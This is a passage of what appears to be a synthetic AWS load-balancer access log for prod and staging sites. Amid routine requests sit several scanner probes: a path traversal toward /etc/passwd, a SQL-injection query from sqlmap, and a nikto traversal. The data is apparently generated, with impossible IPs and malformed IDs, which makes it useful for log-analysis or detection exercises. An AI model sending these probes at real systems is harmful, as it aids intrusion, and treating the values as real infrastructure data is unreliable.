10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c194-18df258394b94859bd9c4a1e" "staging-alb.example.com" "-" 0 2024-11-01T00:42:44.896182Z "forward" "-" "-" "250.163.207.148:80" "200" "-" "-" -https 2024-11-01T00:42:45.041379Z prod-api-alb 14.231.232.69:62567 10.0.136.89:443 0.032486 0.409905 0.035657 200 200 668 4527 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c195-db5762eac9a540d1ae62bccc" "prod-api-alb.example.com" "-" 4 2024-11-01T00:42:45.041379Z "forward" "-" "-" "10.0.136.89:443" "200" "-" "-" -https 2024-11-01T00:42:46.336168Z prod-web-alb 241.173.88.166:33023 10.0.220.249:443 0.019541 0.428175 0.096022 200 200 902 5658 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c196-c24fa2edc0634610a81ed94b" "prod-web-alb.example.com" "-" 6 2024-11-01T00:42:46.336168Z "forward" "-" "-" "10.0.220.249:443" "200" "-" "-" -http 2024-11-01T00:42:47.156805Z staging-alb 247.227.217.45:13595 89.42.23.133:80 0.056068 0.206908 0.093325 200 200 488 12996 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c197-2753b27b20fd49388fb345f8" "staging-alb.example.com" "-" 7 2024-11-01T00:42:47.156805Z "forward" "-" "-" "89.42.23.133:80" "200" "-" "-" -https 2024-11-01T00:42:47.723796Z prod-api-alb 159.160.10.218:37673 10.0.181.251:443 0.040413 0.306051 0.011455 301 301 968 9941 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c197-35498333310b4480b9db1d27" "prod-api-alb.example.com" "-" 3 2024-11-01T00:42:47.723796Z "forward" "-" "-" "10.0.181.251:443" "301" "-" "-" -https 2024-11-01T00:42:48.560233Z prod-web-alb 114.244.148.35:36028 10.0.200.189:443 0.005633 0.137520 0.093509 200 200 165 6634 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c198-ce449638cf0f4f8ab3d68ba4" "prod-web-alb.example.com" "-" 0 2024-11-01T00:42:48.560233Z "forward" "-" "-" "10.0.200.189:443" "200" "-" "-" -https 2024-11-01T00:42:50.291483Z prod-api-alb 70.241.232.120:64916 10.0.33.19:443 0.089224 0.064866 0.030321 302 302 693 5610 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c19a-0ea512004a4e4e388c67ac09" "prod-api-alb.example.com" "-" 4 2024-11-01T00:42:50.291483Z "forward" "-" "-" "10.0.33.19:443" "302" "-" "-" -https 2024-11-01T00:42:51.999656Z prod-web-alb 185.181.68.44:45008 10.0.87.13:443 0.028051 0.261464 0.061137 404 404 357 4841 "GET /../../../etc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c19b-6a8a314de96240db989239f0" "-" "-" 7 2024-11-01T00:42:51.999656Z "forward" "-" "-" "10.0.87.13:443" "404" "-" "-" -http 2024-11-01T00:42:53.845469Z staging-alb 107.246.232.96:56009 56.129.112.124:443 0.110265 0.465978 0.044984 404 404 903 6525 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c19d-9e0e3eb915d04c92bcfd6414" "staging-alb.example.com" "-" 2 2024-11-01T00:42:53.845469Z "forward" "-" "-" "56.129.112.124:443" "404" "-" "-" -https 2024-11-01T00:42:54.307540Z prod-web-alb 185.181.26.16:61132 10.0.10.204:443 0.081062 0.454964 0.002679 200 200 33 10742 "GET /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c19e-86270c20a2db40489b6fb4e4" "-" "-" 10 2024-11-01T00:42:54.307540Z "forward" "-" "-" "10.0.10.204:443" "200" "-" "-" -https 2024-11-01T00:42:55.805786Z prod-web-alb 86.245.46.224:18934 10.0.80.219:443 0.013994 0.497012 0.001242 404 404 719 7436 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c19f-ca66f5e0b0c843adbab23950" "prod-web-alb.example.com" "-" 8 2024-11-01T00:42:55.805786Z "forward" "-" "-" "10.0.80.219:443" "404" "-" "-" -https 2024-11-01T00:42:57.690601Z prod-api-alb 170.235.185.233:37998 10.0.101.53:443 0.037447 0.435671 0.037147 200 200 427 9991 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1a1-97a6bfac10f944ba9a3f849d" "prod-api-alb.example.com" "-" 8 2024-11-01T00:42:57.690601Z "forward" "-" "-" "10.0.101.53:443" "200" "-" "-" -https 2024-11-01T00:42:59.458169Z prod-api-alb 164.108.50.2:26905 10.0.50.15:443 0.032337 0.041358 0.017883 200 200 811 8433 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1a3-904371c447d449069c69ba4d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:42:59.458169Z "forward" "-" "-" "10.0.50.15:443" "200" "-" "-" -https 2024-11-01T00:43:00.722658Z prod-web-alb 110.212.47.34:41580 10.0.197.136:443 0.042173 0.239532 0.099768 301 301 998 12110 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1a4-f93bf25871ca4fd69e693554" "prod-web-alb.example.com" "-" 10 2024-11-01T00:43:00.722658Z "forward" "-" "-" "10.0.197.136:443" "301" "-" "-" -http 2024-11-01T00:43:01.026290Z staging-alb 211.239.54.205:64837 202.94.91.194:80 0.077800 0.239032 0.103841 301 301 952 5143 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1a5-183afd7e35ab45c4bf1872ff" "staging-alb.example.com" "-" 10 2024-11-01T00:43:01.026290Z "forward" "-" "-" "202.94.91.194:80" "301" "-" "-" -http 2024-11-01T00:43:02.821516Z staging-alb 222.66.154.109:51398 178.209.231.144:443 0.117999 0.740484 0.014415 404 404 974 7094 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1a6-dc069d12cecf43a58fb8c8e9" "staging-alb.example.com" "-" 0 2024-11-01T00:43:02.821516Z "forward" "-" "-" "178.209.231.144:443" "404" "-" "-" -https 2024-11-01T00:43:03.530260Z prod-api-alb 118.31.29.41:23995 10.0.165.130:443 0.077934 0.206353 0.030701 301 301 308 9188 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1a7-3e6c66a2dbee44bdbcbd9bef" "prod-api-alb.example.com" "-" 5 2024-11-01T00:43:03.530260Z "forward" "-" "-" "10.0.165.130:443" "301" "-" "-" -https 2024-11-01T00:43:03.967610Z prod-web-alb 240.117.13.192:50600 10.0.125.118:443 0.091151 0.166432 0.065442 200 200 273 12047 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1a7-9aef51c384e74e74b3699b89" "prod-web-alb.example.com" "-" 6 2024-11-01T00:43:03.967610Z "forward" "-" "-" "10.0.125.118:443" "200" "-" "-" -http 2024-11-01T00:43:05.248468Z staging-alb 65.80.195.213:64464 237.140.7.81:8080 0.009508 0.430391 0.121690 200 200 470 4727 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1a9-802a32c2150e4517a9cd68e5" "staging-alb.example.com" "-" 7 2024-11-01T00:43:05.248468Z "forward" "-" "-" "237.140.7.81:8080" "200" "-" "-" -https 2024-11-01T00:43:07.200000Z prod-web-alb 237.57.221.230:56177 10.0.200.106:443 0.036316 0.020646 0.079675 301 301 812 3847 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1ab-32b025fbc62e4e21a4ad88fd" "prod-web-alb.example.com" "-" 8 2024-11-01T00:43:07.200000Z "forward" "-" "-" "10.0.200.106:443" "301" "-" "-" -https 2024-11-01T00:43:08.901303Z prod-api-alb 45.155.205.157:58029 10.0.70.152:443 0.036645 0.180321 0.033918 404 404 622 13810 "GET /static/../../secret HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1ac-bc80c9524e0d4fce9a034306" "-" "-" 0 2024-11-01T00:43:08.901303Z "forward" "-" "-" "10.0.70.152:443" "404" "-" "-" -https 2024-11-01T00:43:09.473599Z prod-web-alb 123.207.117.120:37034 10.0.14.67:443 0.046768 0.054495 0.047338 301 301 98 5267 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1ad-2bc8aa04d0984b8da05917f0" "prod-web-alb.example.com" "-" 9 2024-11-01T00:43:09.473599Z "forward" "-" "-" "10.0.14.67:443" "301" "-" "-" -https 2024-11-01T00:43:10.119745Z prod-api-alb 177.137.211.89:27519 10.0.120.73:443 0.001133 0.186663 0.007590 302 302 483 1346 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1ae-cf4c62689ea3410999eca81c" "prod-api-alb.example.com" "-" 4 2024-11-01T00:43:10.119745Z "forward" "-" "-" "10.0.120.73:443" "302" "-" "-" -https 2024-11-01T00:43:11.078743Z prod-web-alb 35.169.61.92:44801 10.0.132.129:443 0.089624 0.488808 0.034727 404 404 93 2260 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1af-66c35f7fd86747e59c0b8086" "prod-web-alb.example.com" "-" 4 2024-11-01T00:43:11.078743Z "forward" "-" "-" "10.0.132.129:443" "404" "-" "-" -https 2024-11-01T00:43:11.218299Z prod-api-alb 208.66.171.36:39615 10.0.86.144:443 0.018668 0.013221 0.066747 200 200 97 9166 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1af-8b22ab2a9c38430599b767a3" "prod-api-alb.example.com" "-" 5 2024-11-01T00:43:11.218299Z "forward" "-" "-" "10.0.86.144:443" "200" "-" "-" -http 2024-11-01T00:43:13.179565Z staging-alb 73.141.37.247:37306 12.184.247.17:8080 0.127804 0.692579 0.099712 302 302 831 11203 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1b1-5228fbba8fc94cc5875c0c51" "staging-alb.example.com" "-" 4 2024-11-01T00:43:13.179565Z "forward" "-" "-" "12.184.247.17:8080" "302" "-" "-" -https 2024-11-01T00:43:14.278292Z prod-api-alb 96.163.77.74:36603 10.0.95.140:443 0.083308 0.146597 0.058452 200 200 403 9004 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1b2-25b396ff78fe40c8bf27f9e1" "prod-api-alb.example.com" "-" 8 2024-11-01T00:43:14.278292Z "forward" "-" "-" "10.0.95.140:443" "200" "-" "-" -https 2024-11-01T00:43:15.718055Z prod-api-alb 203.109.88.216:39460 10.0.91.221:443 0.085724 0.034426 0.062684 404 404 642 1144 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1b3-f3516a2a4a1a414a98574cf6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:43:15.718055Z "forward" "-" "-" "10.0.91.221:443" "404" "-" "-" -https 2024-11-01T00:43:17.358583Z staging-alb 139.9.178.8:60889 38.106.173.167:8080 0.069088 0.411474 0.013274 200 200 595 5401 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1b5-f55663f870434d4298e78137" "staging-alb.example.com" "-" 5 2024-11-01T00:43:17.358583Z "forward" "-" "-" "38.106.173.167:8080" "200" "-" "-" -https 2024-11-01T00:43:18.201869Z prod-api-alb 199.170.186.160:26486 10.0.131.243:443 0.043800 0.074739 0.078315 200 200 985 14541 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1b6-1487b77dc67a422b9dcb91a7" "prod-api-alb.example.com" "-" 1 2024-11-01T00:43:18.201869Z "forward" "-" "-" "10.0.131.243:443" "200" "-" "-" -https 2024-11-01T00:43:19.557104Z prod-api-alb 41.140.22.35:43958 10.0.25.187:443 0.051808 0.269480 0.000462 200 200 854 352 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1b7-75378019c7484233a0b27941" "prod-api-alb.example.com" "-" 2 2024-11-01T00:43:19.557104Z "forward" "-" "-" "10.0.25.187:443" "200" "-" "-" -https 2024-11-01T00:43:20.105294Z prod-web-alb 109.83.99.129:26245 10.0.50.233:443 0.020145 0.021993 0.065744 200 200 16 13671 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1b8-2d7feb19afdf44efaaa2d53b" "-" "-" 10 2024-11-01T00:43:20.105294Z "forward" "-" "-" "10.0.50.233:443" "200" "-" "-" -http 2024-11-01T00:43:20.301518Z staging-alb 120.231.237.21:48551 182.3.30.67:8080 0.087253 0.220587 0.053213 200 200 804 1690 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1b8-ae8cb93edf534da8b3a4e837" "staging-alb.example.com" "-" 3 2024-11-01T00:43:20.301518Z "forward" "-" "-" "182.3.30.67:8080" "200" "-" "-" -https 2024-11-01T00:43:21.157940Z staging-alb 159.191.186.3:28725 47.183.128.165:443 0.057468 0.501557 0.072548 404 404 652 13672 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1b9-ad9f90c7b38440469338b8ff" "staging-alb.example.com" "-" 2 2024-11-01T00:43:21.157940Z "forward" "-" "-" "47.183.128.165:443" "404" "-" "-" -http 2024-11-01T00:43:21.480143Z staging-alb 168.189.54.199:43813 160.208.18.47:8080 0.063047 0.072935 0.056769 301 301 268 12753 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1b9-fad966e22c84400e905d2d9d" "staging-alb.example.com" "-" 0 2024-11-01T00:43:21.480143Z "forward" "-" "-" "160.208.18.47:8080" "301" "-" "-" -https 2024-11-01T00:43:22.195399Z staging-alb 233.245.40.128:37959 152.33.90.61:443 0.094089 0.041046 0.108670 302 302 888 2633 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1ba-c79820d677f9463285df83bb" "staging-alb.example.com" "-" 9 2024-11-01T00:43:22.195399Z "forward" "-" "-" "152.33.90.61:443" "302" "-" "-" -https 2024-11-01T00:43:22.602559Z prod-web-alb 255.65.242.21:38009 10.0.83.150:443 0.057353 0.354376 0.081213 200 200 557 387 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1ba-4d3a907eabd946cda1277b07" "-" "-" 0 2024-11-01T00:43:22.602559Z "forward" "-" "-" "10.0.83.150:443" "200" "-" "-" -https 2024-11-01T00:43:23.223138Z prod-web-alb 153.40.214.41:58726 10.0.59.73:443 0.053719 0.209949 0.090799 200 200 363 14822 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1bb-de0af07910eb4daea1d67f10" "prod-web-alb.example.com" "-" 3 2024-11-01T00:43:23.223138Z "forward" "-" "-" "10.0.59.73:443" "200" "-" "-" -https 2024-11-01T00:43:25.221830Z prod-web-alb 13.168.64.80:32867 10.0.185.49:443 0.038711 0.155311 0.025040 200 200 273 13335 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1bd-689b4e1cefd64f4abe6c0d8a" "prod-web-alb.example.com" "-" 8 2024-11-01T00:43:25.221830Z "forward" "-" "-" "10.0.185.49:443" "200" "-" "-" -https 2024-11-01T00:43:26.757380Z prod-api-alb 127.66.175.230:42397 10.0.74.212:443 0.016025 0.087100 0.051328 200 200 582 7151 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c1be-d085046252c447f89baa96fd" "prod-api-alb.example.com" "-" 6 2024-11-01T00:43:26.757380Z "forward" "-" "-" "10.0.74.212:443" "200" "-" "-" -http 2024-11-01T00:43:28.042769Z staging-alb 159.126.181.68:59846 32.76.12.161:80 0.089225 0.249765 0.108786 200 200 121 6205 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1c0-844c703a2a494da1903cfed8" "staging-alb.example.com" "-" 2 2024-11-01T00:43:28.042769Z "forward" "-" "-" "32.76.12.161:80" "200" "-" "-" -https 2024-11-01T00:43:28.174532Z staging-alb 32.156.125.97:55583 11.248.165.150:80 0.059265 0.714920 0.099680 404 404 767 9964 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c1c0-47b99d77e4e643cca0c14b67" "staging-alb.example.com" "-" 9 2024-11-01T00:43:28.174532Z "forward" "-" "-" "11.248.165.150:80" "404" "-" "-" -https 2024-11-01T00:43:29.556331Z staging-alb 76.228.84.200:31736 241.61.126.199:8080 0.024501 0.440596 0.098123 200 200 487 9452 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c1c1-4c0606a4ab384e2ca6910025" "staging-alb.example.com" "-" 8 2024-11-01T00:43:29.556331Z "forward" "-" "-" "241.61.126.199:8080" "200" "-" "-" -https 2024-11-01T00:43:30.708277Z prod-web-alb 124.20.139.58:28103 10.0.44.201:443 0.068144 0.456770 0.098414 301 301 70 10885 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1c2-9d4bf434b7e04e04a5e5af62" "prod-web-alb.example.com" "-" 3 2024-11-01T00:43:30.708277Z "forward" "-" "-" "10.0.44.201:443" "301" "-" "-" -https 2024-11-01T00:43:32.269272Z prod-api-alb 135.187.81.129:54263 10.0.245.173:443 0.090091 0.144128 0.054850 200 200 584 6285 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c1c4-57b734c762534110bae2c247" "prod-api-alb.example.com" "-" 5 2024-11-01T00:43:32.269272Z "forward" "-" "-" "10.0.245.173:443" "200" "-" "-" -https 2024-11-01T00:43:33.923861Z prod-web-alb 25.217.124.169:44711 10.0.214.142:443 0.053575 0.110944 0.060028 200 200 289 4566 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c1c5-02647a97d90241788976ac12" "prod-web-alb.example.com" "-" 7 2024-11-01T00:43:33.923861Z "forward" "-" "-" "10.0.214.142:443" "200" "-" "-" -https 2024-11-01T00:43:35.746694Z prod-web-alb 59.80.2.31:15274 10.0.57.137:443 0.098186 0.442815 0.080842 404 404 916 12957 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1c7-f34018a19eb7461192db7312" "prod-web-alb.example.com" "-" 4 2024-11-01T00:43:35.746694Z "forward" "-" "-" "10.0.57.137:443" "404" "-" "-" -https 2024-11-01T00:43:37.040422Z prod-web-alb 167.108.109.169:61993 10.0.108.240:443 0.056508 0.385989 0.016605 200 200 501 11375 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c1c9-ccadd29fc84b460b97891b32" "prod-web-alb.example.com" "-" 2 2024-11-01T00:43:37.040422Z "forward" "-" "-" 